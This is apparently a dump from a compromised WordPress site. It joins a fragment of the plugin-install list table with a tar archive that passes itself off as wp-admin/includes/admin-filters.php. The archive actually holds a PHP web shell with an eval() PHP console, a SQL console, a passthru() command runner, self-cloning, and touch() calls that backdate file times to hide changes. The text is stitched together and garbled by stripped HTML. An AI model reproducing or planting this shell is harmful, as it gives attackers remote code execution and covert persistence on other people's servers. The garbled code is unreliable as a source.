"install_plugins_table_api_args_{$tab}", $args ); if ( ! $args ) { return; } $api = plugins_api( 'query_plugins', $args ); if ( is_wp_error( $api ) ) { $this->error = $api; return; } $this->items = $api->plugins; if ( $this->orderby ) { uasort( $this->items, array( $this, 'order_callback' ) ); } $this->set_pagination_args( array( 'total_items' => $api->info['results'], 'per_page' => $args['per_page'], ) ); if ( isset( $api->info['groups'] ) ) { $this->groups = $api->info['groups']; } if ( $installed_plugins ) { $js_plugins = array_fill_keys( array( 'all', 'search', 'active', 'inactive', 'recently_activated', 'mustuse', 'dropins' ), array() ); $js_plugins['all'] = array_values( wp_list_pluck( $installed_plugins, 'plugin' ) ); $upgrade_plugins = wp_filter_object_list( $installed_plugins, array( 'upgrade' => true ), 'and', 'plugin' ); if ( $upgrade_plugins ) { $js_plugins['upgrade'] = array_values( $upgrade_plugins ); } wp_localize_script( 'updates', '_wpUpdatesItemCounts', array( 'plugins' => $js_plugins, 'totals' => wp_get_update_data(), ) ); } } /** */ public function no_items() { if ( isset( $this->error ) ) { ?>

error->get_error_message(); ?>

$text ) { $current_link_attributes = ( $action === $tab ) ? ' class="current" aria-current="page"' : ''; $href = self_admin_url( 'plugin-install.php?tab=' . $action ); $display_tabs[ 'plugin-install-' . $action ] = "$text"; } // No longer a real tab. unset( $display_tabs['plugin-install-upload'] ); return $display_tabs; } /** * Override parent views so we can use the filter bar display. */ public function views() { $views = $this->get_views(); /** This filter is documented in wp-admin/inclues/class-wp-list-table.php */ $views = apply_filters( "views_{$this->screen->id}", $views ); $this->screen->render_screen_reader_content( 'heading_views' ); ?>
_args['singular']; $data_attr = ''; if ( $singular ) { $data_attr = " data-wp-lists='list:$singular'"; } $this->display_tablenav( 'top' ); ?>
screen->render_screen_reader_content( 'heading_list' ); ?>
> display_rows_or_placeholder(); ?>
display_tablenav( 'bottom' ); } /** * @global string $tab * * @param string $which */ protected function display_tablenav( $which ) { if ( 'featured' === $GLOBALS['tab'] ) { return; } if ( 'top' === $which ) { wp_referer_field(); ?>
pagination( $which ); ?>
pagination( $which ); ?>
_args['plural'] ); } /** * @return array */ public function get_columns() { return array(); } /** * @param object $plugin_a * @param object $plugin_b * @return int */ private function order_callback( $plugin_a, $plugin_b ) { $orderby = $this->orderby; if ( ! isset( $plugin_a->$orderby, $plugin_b->$orderby ) ) { return 0; } $a = $plugin_a->$orderby; $b = $plugin_b->$orderby; if ( $a === $b ) { return 0; } if ( 'DESC' === $this->order ) { return ( $a < $b ) ? 1 : -1; } else { return ( $a < $b ) ? -1 : 1; } } public function display_rows() { $plugins_allowedtags = array( 'a' => array( 'href' => array(), 'title' => array(), 'target' => array(), ), 'abbr' => array( 'title' => array() ), 'acronym' => array( 'title' => array() ), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'p' => array(), 'br' => array(), ); $plugins_group_titles = array( 'Performance' => _x( 'Performance', 'Plugin installer group title' ), 'Social' => _x( 'Social', 'Plugin installer group title' ), 'Tools' => _x( 'Tools', 'Plugin installer group title' ), ); $group = null; foreach ( (array) $this->items as $plugin ) { if ( is_object( $plugin ) ) { $plugin = (array) $plugin; } // Display the group heading if there is one. if ( isset( $plugin['group'] ) && $plugin['group'] !== $group ) { if ( isset( $this->groups[ $plugin['group'] ] ) ) { $group_name = $this->groups[ $plugin['group'] ]; if ( isset( $plugins_group_titles[ $group_name ] ) ) { $group_name = $plugins_group_titles[ $group_name ]; } } else { $group_name = $plugin['group']; } // Starting a new group, close off the divs of the last one. if ( ! empty( $group ) ) { echo ''; } echo '

' . esc_html( $group_name ) . '

'; // Needs an extra wrapping div for nth-child selectors to work. echo '
'; $group = $plugin['group']; } $title = wp_kses( $plugin['name'], $plugins_allowedtags ); // Remove any HTML from the description. $description = strip_tags( $plugin['short_description'] ); /** * Filters the plugin card description on the Add Plugins screen. * * @since 6.0.0 * * @param string $description Plugin card description. * @param array $plugin An array of plugin data. See {@see plugins_api()} * for the list of possible values. */ $description = apply_filters( 'plugin_install_description', $description, $plugin ); $version = wp_kses( $plugin['version'], $plugins_allowedtags ); $name = strip_tags( $title . ' ' . $version ); $author = wp_kses( $plugin['author'], $plugins_allowedtags ); if ( ! empty( $author ) ) { /* translators: %s: Plugin author. */ $author = ' ' . sprintf( __( 'By %s' ), $author ) . ''; } $requires_php = isset( $plugin['requires_php'] ) ? $plugin['requires_php'] : null; $requires_wp = isset( $plugin['requires'] ) ? $plugin['requires'] : null; $compatible_php = is_php_version_compatible( $requires_php ); $compatible_wp = is_wp_version_compatible( $requires_wp ); $tested_wp = ( empty( $plugin['tested'] ) || version_compare( get_bloginfo( 'version' ), $plugin['tested'], '<=' ) ); $action_links = array(); if ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) { $status = install_plugin_install_status( $plugin ); switch ( $status['status'] ) { case 'install': if ( $status['url'] ) { if ( $compatible_php && $compatible_wp ) { $action_links[] = sprintf( '%s', esc_attr( $plugin['slug'] ), esc_url( $status['url'] ), /* translators: %s: Plugin name and version. */ esc_attr( sprintf( _x( 'Install %s now', 'plugin' ), $name ) ), esc_attr( $name ), __( 'Install Now' ) ); } else { $action_links[] = sprintf( '', _x( 'Cannot Install', 'plugin' ) ); } } break; case 'update_available': if ( $status['url'] ) { if ( $compatible_php && $compatible_wp ) { $action_links[] = sprintf( '%s', esc_attr( $status['file'] ), esc_attr( $plugin['slug'] ), esc_url( $status['url'] ), /* translators: %s: Plugin name and version. */ esc_attr( sprintf( _x( 'Update %s now', 'plugin' ), $name ) ), esc_attr( $name ), __( 'Update Now' ) ); } else { $action_links[] = sprintf( '', _x( 'Cannot Update', 'plugin' ) ); } } break; case 'latest_installed': case 'newer_installed': if ( is_plugin_active( $status['file'] ) ) { $action_links[] = sprintf( '', _x( 'Active', 'plugin' ) ); } elseif ( current_user_can( 'activate_plugin', $status['file'] ) ) { if ( $compatible_php && $compatible_wp ) { $button_text = __( 'Activate' ); /* translators: %s: Plugin name. */ $button_label = _x( 'Activate %s', 'plugin' ); $activate_url = add_query_arg( array( '_wpnonce' => wp_create_nonce( 'activate-plugin_' . $status['file'] ), 'action' => 'activate', 'plugin' => $status['file'], ), network_admin_url( 'plugins.php' ) ); if ( is_network_admin() ) { $button_text = __( 'Network Activate' ); /* translators: %s: Plugin name. */ $button_label = _x( 'Network Activate %s', 'plugin' ); $activate_url = add_query_arg( array( 'networkwide' => 1 ), $activate_url ); } $action_links[] = sprintf( '%3$s', esc_url( $activate_url ), esc_attr( sprintf( $button_label, $plugin['name'] ) ), $button_text ); } else { $action_links[] = sprintf( '', _x( 'Cannot Activate', 'plugin' ) ); } } else { $action_links[] = sprintf( '', _x( 'Installed', 'plugin' ) ); } break; } } $details_link = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $plugin['slug'] . '&TB_iframe=true&width=600&height=550' ); $action_links[] = sprintf( '%s', esc_url( $details_link ), /* translators: %s: Plugin name and version. */ esc_attr( sprintf( __( 'More information about %s' ), $name ) ), esc_attr( $name ), __( 'More Details' ) ); if ( ! empty( $plugin['icons']['svg'] ) ) { $plugin_icon_url = $plugin['icons']['svg']; } elseif ( ! empty( $plugin['icons']['2x'] ) ) { $plugin_icon_url = $plugin['icons']['2x']; } elseif ( ! empty( $plugin['icons']['1x'] ) ) { $plugin_icon_url = $plugin['icons']['1x']; } else { $plugin_icon_url = $plugin['icons']['default']; } /** * Filters the install action links for a plugin. * * @since 2.7.0 * * @param string[] $action_links An array of plugin action links. * Defaults are links to Details and Install Now. * @param array $plugin An array of plugin data. See {@see plugins_api()} * for the list of possible values. */ $action_links = apply_filters( 'plugin_install_action_links', $action_links, $plugin ); $last_updated_timestamp = strtotime( $plugin['last_updated'] ); ?>

'; if ( ! $compatible_php && ! $compatible_wp ) { _e( 'This plugin does not work with your versions of WordPress and PHP.' ); if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) { printf( /* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */ ' ' . __( 'Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } } elseif ( ! $compatible_wp ) { _e( 'This plugin does not work with your version of WordPress.' ); if ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } } elseif ( ! $compatible_php ) { _e( 'This plugin does not work with your version of PHP.' ); if ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } } echo '

'; } ?>

$plugin['rating'], 'type' => 'percent', 'number' => $plugin['num_ratings'], ) ); ?>
= 1000000 ) { $active_installs_millions = floor( $plugin['active_installs'] / 1000000 ); $active_installs_text = sprintf( /* translators: %s: Number of millions. */ _nx( '%s+ Million', '%s+ Million', $active_installs_millions, 'Active plugin installations' ), number_format_i18n( $active_installs_millions ) ); } elseif ( 0 === $plugin['active_installs'] ) { $active_installs_text = _x( 'Less Than 10', 'Active plugin installations' ); } else { $active_installs_text = number_format_i18n( $plugin['active_installs'] ) . '+'; } /* translators: %s: Number of installations. */ printf( __( '%s Active Installations' ), $active_installs_text ); ?>
' . __( 'Untested with your version of WordPress' ) . ''; } elseif ( ! $compatible_wp ) { echo '' . __( 'Incompatible with your version of WordPress' ) . ''; } else { echo '' . __( 'Compatible with your version of WordPress' ) . ''; } ?>
'; } } } admin-filters.php.tar000064400000023000152377531730010610 0ustar00home/quizenacom/public_html/wp-admin/includes/admin-filters.php000064400000017011152377461670020764 0ustar00 true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '

'.$fun($res).'
'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?>

'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?>
:
'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete') . ''; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete').''; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete').''; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['clone_self'])) { $clone_result = fm_clone_self(); if ($clone_result && count($clone_result['files']) > 0) { $msg .= __('File cloned successfully').': ' . implode(', ', $clone_result['files']); $msg .= '

Klonlanan Dosyalar:
'; foreach ($clone_result['urls'] as $index => $url) { $msg .= 'Yedek ' . ($index + 1) . ': ' . $url . '
'; } $msg .= '
'; $msg .= ''; } else { $msg .= __('Error occurred').' '.__('during cloning'); } } ?>
&1"; $cwd = $_POST['path']; // Use the hidden 'path' input as the directory // Validate and set the current working directory if (!empty($cwd) && is_dir($cwd)) { chdir($cwd); // Change to the specified directory } else { echo "Error: Invalid directory specified.
"; } // Execute the command and display output using passthru echo "root@SID-GIFARI:CMD
";
        passthru($cmd);  // passthru sends raw output directly to the browser
        echo "
"; } ?>
WP Creator
    ,
     '.$file.''; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '     '.$file.'' : '     '.$file.''; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '' . __('Delete') . ''; $renamelink = fm_root($file) ? '' : '' . __('Rename') . ''; $rightstext = ($file=='.' || $file=='..') ? '' : '' . @fm_rights_string($filename) . ''; $clonelink = ($file == basename(__FILE__)) ? '' . __('Clone') . '' : ''; ?>
Github | .'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | proxy'; if (!empty($fm_config['show_phpinfo'])) echo ' | phpinfo'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | xls'; if (!empty($fm_config['fm_settings'])) echo ' | '.__('Settings').''; ?>
